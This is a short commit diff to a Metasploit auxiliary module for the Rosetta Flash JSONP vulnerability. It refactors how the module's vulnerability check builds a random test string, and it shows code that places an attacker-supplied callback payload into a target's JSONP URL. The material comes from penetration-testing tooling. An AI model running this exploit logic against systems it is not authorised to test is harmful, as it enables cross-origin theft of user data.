Remove unnecessary ||= and ivars.

Author: joevennix

modules/auxiliary/gather/flash_rosetta_jsonp_url_disclosure.rb

@@ -65,6 +65,7 @@ def run
   end
 
   def check
+    test_string = Rex::Text.rand_text_alphanumeric(encoded_swf.length)
     io = open(exploit_url(test_string))
     if io.read.start_with? test_string
       Msf::Exploit::CheckCode::Vulnerable
@@ -92,12 +93,6 @@ def on_request_uri(cli, request)
     end
   end
 
-  # Generates an alphanumeric test string for checking that the JSONP endpoint
-  #   allows for long enough callback function names.
-  def test_string
-    @test_string ||= Rex::Text.rand_text_alphanumeric(encoded_swf.length)
-  end
-
   def exploit_url(data_payload)
     delimiter = if datastore['JSONP_URL'].include?('?') then '&' else '?' end
     "#{datastore['JSONP_URL']}#{delimiter}#{datastore['CALLBACK']}=#{data_payload}"